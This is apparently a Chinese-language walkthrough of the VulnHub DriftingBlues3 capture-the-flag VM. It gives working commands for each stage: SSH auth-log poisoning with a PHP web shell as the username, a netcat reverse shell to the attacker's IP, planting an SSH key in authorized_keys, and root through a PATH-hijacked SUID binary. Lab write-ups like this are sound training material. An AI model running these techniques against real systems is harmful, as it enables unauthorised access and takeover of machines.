​靶机下载地址:https://download.vulnhub.com/driftingblues/driftingblues3.ova

vbox导入,网络模式桥接,靶机模式为简单。

一:信息收集

1;直接老样子吧,arp主机发现之后,nmap扫描端口服务。目录遍历。

2;另请检查/littlequeenofspades.html

源代码上发现一串密文。

echo aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ== | base64 -d
echo -n L2FkbWluc2ZpeGl0LnBocA== | base64 -d

二;漏洞利用

1;ssh登录验证日志。前面说有毒,可能日志中毒。ssh auth log --> ssh身份验证日志,并且注意到登录用户名显示在日志中,也就是说如果我们使用ssh登陆时,将用户名写成一句话就可以写马进日志中。

ssh '<?php system($_GET["yang"]);?>'@192.168.1.40

写入成功。

那就反弹一下shell吧。反弹成功,没有权限,提升一下权限。

nc -e /bin/bash 192.168.1.28 1234

python -c 'import pty; pty.spawn("/bin/bash")' #交互shell

2;home目录下有个用户,想打开user.txt,但是没有权限,ssh文件可读可写可执行。

进到.ssh私钥,里面没有东西。有点奇怪,查看ssh配置文件/etc/ssh/sshd_config,发现可以使用公钥登入,并且给出了文件名/home/robertj/.ssh/authorized_keys。

ssh服务公钥登录,主要流程为:

  1. 客户端生成RSA公钥和私钥
  2. 客户端将自己的公钥存放到服务器
  3. 客户端请求连接服务器,服务器将一个随机字符串发送给客户端
  4. 客户端根据自己的私钥加密这个随机字符串之后再发送给服务器
  5. 服务器接受到加密后的字符串之后用公钥解密,如果正确就让客户端登录,否则拒绝。这样就不用使用密码​

在本地生成密钥对。

ssh-keygen 在本地生成.ssh目录

ssh-keygen -f yan  生成这样的文件

​在目标服务器的 .ssh 文件夹下创建存放客户端公钥的文件 authorized_keys(默认配置)

把生成的公钥上传到靶机上去。

把公钥信息写入目标文件

cat id_rsa.pub > authorized_keys

ssh连接成功。注意一下这里,我在生成密钥对时,设置了一下密码,在生成密钥对时,可以不设置密码。

ssh 192.168.1.40 -l robertj -i id_rsa

三:提权。
1;第一个falg。

2;命令劫持提权。

find / -perm -u=s -type f 2>/dev/null

3;利用linpeas.sh脚本查找bug。

大把的漏洞可执行。

大概的原理就是 执行系统命令所以我们可以自行编写一个同名文件,

比如说cat,因为我们猜测getinfo中使用了cat命令,如若我们可以添加环境变量,getinfo在调用命令时首先检索环境变量就会调用到我们伪造的cat,执行我们想要的命令,来达到提权的效果,即使用环境变量进行命令劫持提权

export PATH=/tmp/:$PATH     把/tmp路径加入到系统路径中。
cd /tmp
echo '/bin/bash' > ip 把/bin/bash写入到ip中。
chmod +x ip 增加执行权限
/usr/bin/getinfo

 4;第二个flag。

​ 

最新文章

  1. iOS-上架APP之启动页设置(新手必看!)
  2. Transport Block Size, Throughput and Code rate-----http://www.simpletechpost.com/2012/12/transport-block-size-code-rate-protocol.html
  3. BZOJ 2626 &amp; KDtree
  4. phpMyAdmin导入文件突破2M大小
  5. wordpress自动批量定时发布插件 DX-auto-publish
  6. 原生js实现增加(addclass),删除(removeclass),判断是否存在(hasclass),如果存在删除,如果不存在添加(toggleclass)和获取类名(getbyclass)的方法
  7. access检测表没有的字段,添加之
  8. 二叉搜索树算法详解与Java实现
  9. python变量传递给系统命令的方法
  10. QT5静态编译教程,主要针对vs2012(渡世白玉)
  11. WindowState注意事项
  12. 消息队列NetMQ 原理分析5-StreamEngine、Encord和Decord
  13. 解决将龙邱oled库移植到野火工程里,oled汉字无法显示问题
  14. 协议系列之IP协议
  15. Java NIO技术总结
  16. ubuntu18.04静态ip设置
  17. 133. leetcode-Clone Graph
  18. RMAN-06172 Troubleshooting
  19. 【AtCoder】CODE FESTIVAL 2017 qual B
  20. C语言定义共享全局变量

热门文章

  1. 第六章:Django 综合篇
  2. 举例:Network Policies
  3. ATT&amp;CK系列一 知识点总结
  4. CAS核心思想、底层实现
  5. echarts中setOption没有重新渲染表格
  6. C++自学笔记 头文件 (header file)关于 #include 和.h
  7. ASP.NET Core 中的模型绑定
  8. TCP 序列号和确认号是如何变化的?
  9. debian如何删除无效的应用图标
  10. mysql 子查询 联结 组合查询